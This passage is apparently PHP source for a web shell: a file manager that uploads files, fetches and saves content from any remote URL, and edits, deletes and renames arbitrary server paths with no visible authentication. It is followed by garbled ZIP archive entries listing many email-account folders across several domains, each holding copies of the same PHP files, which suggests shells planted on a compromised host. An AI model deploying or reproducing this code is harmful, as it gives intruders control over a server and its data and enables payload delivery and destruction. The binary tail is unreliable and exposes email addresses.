?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]Úщ'BB!academy@drsupernova.com/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë“academy@drsupernova.com/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©ËˆÍacademy@drsupernova.com/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®Ë™academy@drsupernova.com/ui.phpnu„[µü¤PK‘&{]<Š»$BB*{eilir.lajqi@matrix-financials.com/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë'gilir.lajqi@matrix-financials.com/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ë'3ilir.lajqi@matrix-financials.com/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®Ë'ÿilir.lajqi@matrix-financials.com/ui.phpnu„[µü¤PK‘&{]–éç†BB Ëdafina@drsupernova.com/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë¬Ìdafina@drsupernova.com/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ë ˜dafina@drsupernova.com/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®Ë–ddafina@drsupernova.com/ui.phpnu„[µü¤PK‘&{]»Òî±BB‘0web@dumoshi.com/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë2web@dumoshi.com/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ë þweb@dumoshi.com/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®ËøÉweb@dumoshi.com/ui.phpnu„[µü¤PK‘&{]íÕÛBB&ì• bulgaria@dunyagozbalkans.com/.metadatanu"º] €PK‘&{]¨�XBB!„— adelina@drsupernova.com/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë™ adelina@drsupernova.com/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ë e adelina@drsupernova.com/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®Ë1 adelina@drsupernova.com/ui.phpnu„[µü¤PK‘&{]· é’BB%ÿü finance@dunyagozbalkans.com/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë"–þ finance@dunyagozbalkans.com/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ë"�Ê finance@dunyagozbalkans.com/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®Ë"Š– finance@dunyagozbalkans.com/ui.phpnu„[µü¤PK‘&{]I©ڂBB Šbhr@dunyagozbalkans.com/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ëdhr@dunyagozbalkans.com/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ë0hr@dunyagozbalkans.com/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®Ëühr@dunyagozbalkans.com/ui.phpnu„[µü¤PK‘&{] ÞIíBB"Èpartners@drsupernova.com/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë•Épartners@drsupernova.com/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ë‹•partners@drsupernova.com/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®Ëƒapartners@drsupernova.com/ui.phpnu„[µü¤PK‘&{]³ˆ®BB€-bindi@drsupernova.com/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë/bindi@drsupernova.com/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ëûbindi@drsupernova.com/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®ËùÆbindi@drsupernova.com/ui.phpnu„[µü¤PK‘&{]Œ'‡hBB#ó’lulzim.maliqi@pelasgus.al/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë ˆ”lulzim.maliqi@pelasgus.al/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ë `lulzim.maliqi@pelasgus.al/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®Ë x,lulzim.maliqi@pelasgus.al/ui.phpnu„[µü¤PK‘&{]„N9³§Ë§Ëvøcl.phpnu„[µü¤PK‘&{]¥i™BBSÄgazetufm/.metadatanu„[µü¤PK‘&{]„N9³§Ë§Ë×Ågazetufm/cl.phpnu„[µü¤PK‘&{]qÜd©Ë©Ë½‘gazetufm/kl.phpnu„[µü¤PK‘&{]CO¹ò®Ë®Ë¥]gazetufm/ui.phpnu„[µü¤PK’&{]ʙ 3BB’)korab@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë#+korab@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë÷korab@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ë Ãkorab@drsupernova.com/ui.phpnu„[µü¤PK’&{]ÛL@BB�peter@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë–�peter@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë‰\peter@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ë~(peter@drsupernova.com/ui.phpnu„[µü¤PK’&{]§D BBxôeset@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ëöeset@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©ËúÁ eset@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ëî�!eset@drsupernova.com/ui.phpnu„[µü¤PK’&{]•EOQBB çY"shenaj@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ëy["shenaj@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ëm'#shenaj@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ëcó#shenaj@drsupernova.com/ui.phpnu„[µü¤PK’&{]ބÃZBB%^¿$romania@dunyagozbalkans.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë"õÀ$romania@dunyagozbalkans.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë"îŒ%romania@dunyagozbalkans.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ë"éX&romania@dunyagozbalkans.com/ui.phpnu„[µü¤PK’&{],ÁqBBé$'italy@drsupernova.com/.metadatanu"º] €PK’&{]`ìpBBz&'info@hekurangashi.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë ('info@hekurangashi.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ëþó'info@hekurangashi.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ëó¿(info@hekurangashi.com/ui.phpnu„[µü¤PK’&{]õÜßIBB%í‹)lejlekufilm@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë"„�)lejlekufilm@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë"}Y*lejlekufilm@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ë"x%+lejlekufilm@drsupernova.com/ui.phpnu„[µü¤PK’&{]� èBBxñ+iliri@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë ó+iliri@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ëü¾,iliri@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®ËñŠ-iliri@drsupernova.com/ui.phpnu„[µü¤PK’&{]¢/hÄBB$ëV.bosnia@dunyagozbalkans.com/.metadatanu"º] €PK’&{]"¬BB"�X.baka@bakainitiatives.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§ËZ.baka@bakainitiatives.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë &/baka@bakainitiatives.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ëò/baka@bakainitiatives.com/ui.phpnu„[µü¤PK’&{]¢Æ?BB¾0alp@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë�¿0alp@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë€‹1alp@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®ËsW2alp@drsupernova.com/ui.phpnu„[µü¤PK’&{]“6èBBk#3send@gazetaliria.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ëû$3send@gazetaliria.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ëíð3send@gazetaliria.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ëá¼4send@gazetaliria.com/ui.phpnu„[µü¤PK’&{]('ABBڈ5info@leonora.al/.metadatanu„[µü¤PK’&{]„N9³§Ë§ËeŠ5info@leonora.al/cl.phpnu„[µü¤PK’&{]qÜd©Ë©ËRV6info@leonora.al/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®ËA"7info@leonora.al/ui.phpnu„[µü¤PK’&{]ß)‚ßBB5î7info@originworks.art/.metadatanu„[µü¤PK’&{]„N9³§Ë§ËÅï7info@originworks.art/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë·»8info@originworks.art/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ë«‡9info@originworks.art/ui.phpnu„[µü¤PK’&{]ÔBB¤S:info@dunyagoz-ks.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë4U:info@dunyagoz-ks.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë&!;info@dunyagoz-ks.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ëí;info@dunyagoz-ks.com/ui.phpnu„[µü¤PK’&{]RBB¹<info@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë£º<info@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë•†=info@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ë‰R>info@drsupernova.com/ui.phpnu„[µü¤PK’&{]۞jBB‚?elsa@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë ?elsa@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ëì?elsa@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ëø·@elsa@drsupernova.com/ui.phpnu„[µü¤PK’&{]ÔBBñƒAenis@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë�…Aenis@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©ËsQBenis@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®ËgCenis@drsupernova.com/ui.phpnu„[µü¤PK’&{]“?ݽBB `éCshqipe@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§ËòêCshqipe@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ëæ¶Dshqipe@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ë܂Eshqipe@drsupernova.com/ui.phpnu„[µü¤PK’&{],¶òjj ×NFadmin.phpnu„[µü¤PK’&{]—°JBB!zQFsend@autoshkolla.com.al/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë SFsend@autoshkolla.com.al/cl.phpnu„[µü¤PK’&{]qÜd©Ë©ËGsend@autoshkolla.com.al/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®ËùêGsend@autoshkolla.com.al/ui.phpnu„[µü¤PK’&{]`ìpBBõ¶Hinfo@gazetaliria.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë…¸Hinfo@gazetaliria.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ëw„Iinfo@gazetaliria.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®ËkPJinfo@gazetaliria.com/ui.phpnu„[µü¤PK’&{]ʙ 3BB+dKartan.ukshini@dunyagozbalkans.com/.metadatanu"º] €PK’&{]„N9³§Ë§Ë(Kartan.ukshini@dunyagozbalkans.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë(êKartan.ukshini@dunyagozbalkans.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ë(¶Lartan.ukshini@dunyagozbalkans.com/ui.phpnu„[µü¤PK’&{]žÎBB ‚Minfo@hekurangashi.info/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë™ƒMinfo@hekurangashi.info/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë�ONinfo@hekurangashi.info/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®ËƒOinfo@hekurangashi.info/ui.phpnu„[µü¤PK’&{]/€BB~çOeros@drsupernova.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§ËéOeros@drsupernova.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©ËµPeros@drsupernova.com/kl.phpnu„[µü¤PK’&{]CO¹ò®Ë®Ëô€Qeros@drsupernova.com/ui.phpnu„[µü¤PK’&{]óSÅåBB%íLRcroatia@dunyagozbalkans.com/.metadatanu"º] €PK’&{]^ê„BB#„NRinfo@liridonigraphics.com/.metadatanu„[µü¤PK’&{]„N9³§Ë§Ë PRinfo@liridonigraphics.com/cl.phpnu„[µü¤PK’&{]qÜd©Ë©Ë Sinfo@liridonigraphics.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë  èSinfo@liridonigraphics.com/ui.phpnu„[µü¤PK“&{]ބÃZBB$´Tserbia@dunyagozbalkans.com/.metadatanu"º] €PK“&{]™bBB!�µTinfo@checkmytherapy.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë0·Tinfo@checkmytherapy.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ë%ƒUinfo@checkmytherapy.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®ËOVinfo@checkmytherapy.com/ui.phpnu„[µü¤PK“&{]´!zBBWilir@drsupernova.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë¨Wilir@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©ËšèWilir@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®ËŽ´Xilir@drsupernova.com/ui.phpnu„[µü¤PK“&{]-)ØBB‡€Yinfo@gjilan.org/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë‚Yinfo@gjilan.org/cl.phpnu„[µü¤PK“&{]qÜd©Ë©ËÿMZinfo@gjilan.org/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ëî[info@gjilan.org/ui.phpnu„[µü¤PK“&{]‹È&,BB'âå[macedonia@dunyagozbalkans.com/.metadatanu"º] €PK“&{]Ù{‚‰BB{ç[info@gjilan.al/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ëé[info@gjilan.al/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ëñ´\info@gjilan.al/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë߀]info@gjilan.al/ui.phpnu„[µü¤PK“&{]¬BBÒL^info@bleje.net/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë\N^info@bleje.net/cl.phpnu„[µü¤PK“&{]qÜd©Ë©ËH_info@bleje.net/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë6æ_info@bleje.net/ui.phpnu„[µü¤PK“&{]»Òî±BB)²`info@yac.al/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë°³`info@yac.al/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ë™ainfo@yac.al/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë„Kbinfo@yac.al/ui.phpnu„[µü¤PK“&{]�÷MBB"tcinfo@dunyagozbalkans.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ëcinfo@dunyagozbalkans.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ëþäcinfo@dunyagozbalkans.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ëö°dinfo@dunyagozbalkans.com/ui.phpnu„[µü¤PK“&{]§kéBBó|emejdi@drsupernova.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë„~emejdi@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©ËwJfmejdi@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ëlgmejdi@drsupernova.com/ui.phpnu„[µü¤PK“&{]ø�"‚BB!fâgfinance@drsupernova.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ëùãgfinance@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ëî¯hfinance@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ëå{ifinance@drsupernova.com/ui.phpnu„[µü¤PK“&{]Ú_'BBáGjinfo@pelasgus.al/.metadatanu„[µü¤PK“&{]„N9³§Ë§ËmIjinfo@pelasgus.al/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ë[kinfo@pelasgus.al/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®ËKákinfo@pelasgus.al/ui.phpnu„[µü¤PK“&{]«×Á©BB#@­ltreatment@drsupernova.com/.metadatanu"º] €PK“&{]„N9³§Ë§Ë ծltreatment@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ë Ìzmtreatment@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë ÅFntreatment@drsupernova.com/ui.phpnu„[µü¤PK“&{]†web@tali-ks.com/ui.phpnu„[µü¤PK“&{]· é’BB$· ‡kosova@dunyagozbalkans.com/.metadatanu"º] €PK“&{]É#–$BBM ‡send@temjeku.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§ËÙ ‡send@temjeku.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©ËÇهsend@temjeku.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë·¥ˆsend@temjeku.com/ui.phpnu„[µü¤PK“&{]qÜd©Ë©Ë¬q‰kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë‹=Šui.phpnu„[µü¤PK“&{]¸.ô BB"o ‹no-reply@drsupernova.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë ‹no-reply@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ëù֋no-reply@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ëñ¢Œno-reply@drsupernova.com/ui.phpnu„[µü¤PK“&{]"¬BBîn�gpt1@drsupernova.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë~p�gpt1@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ëp<Žgpt1@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ëd�gpt1@drsupernova.com/ui.phpnu„[µü¤PK“&{]åþ[šBB]ԏfinance@velessa.ai/.metadatanu„[µü¤PK“&{]„N9³§Ë§ËëՏfinance@velessa.ai/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ëۡ�finance@velessa.ai/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®ËÍm‘finance@velessa.ai/ui.phpnu„[µü¤PK“&{]hÛÍ}BB Ä9’ardian@drsupernova.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§ËV;’ardian@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©ËJ“ardian@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë@ӓardian@drsupernova.com/ui.phpnu„[µü¤PK“&{]·„k�BB;Ÿ”irina@drsupernova.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë̠”irina@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ë¿l•irina@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë´8–irina@drsupernova.com/ui.phpnu„[µü¤PK“&{]…hŸõBB%®—albania@dunyagozbalkans.com/.metadatanu"º] €PK“&{]àåBBE—ormir@drsupernova.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§ËÖ—ormir@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©ËÉӗormir@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë¾Ÿ˜ormir@drsupernova.com/ui.phpnu„[µü¤PK“&{]xÙžBB¸k™gpt2@drsupernova.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§ËHm™gpt2@drsupernova.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ë:9šgpt2@drsupernova.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë.›gpt2@drsupernova.com/ui.phpnu„[µü¤PK“&{]Ak†BB'ћinfo@dumoshi.com/.metadatanu„[µü¤PK“&{]„N9³§Ë§Ë³қinfo@dumoshi.com/cl.phpnu„[µü¤PK“&{]qÜd©Ë©Ë¡žœinfo@dumoshi.com/kl.phpnu„[µü¤PK“&{]CO¹ò®Ë®Ë‘j�info@dumoshi.com/ui.phpnu„[µü¤PKœb†6ž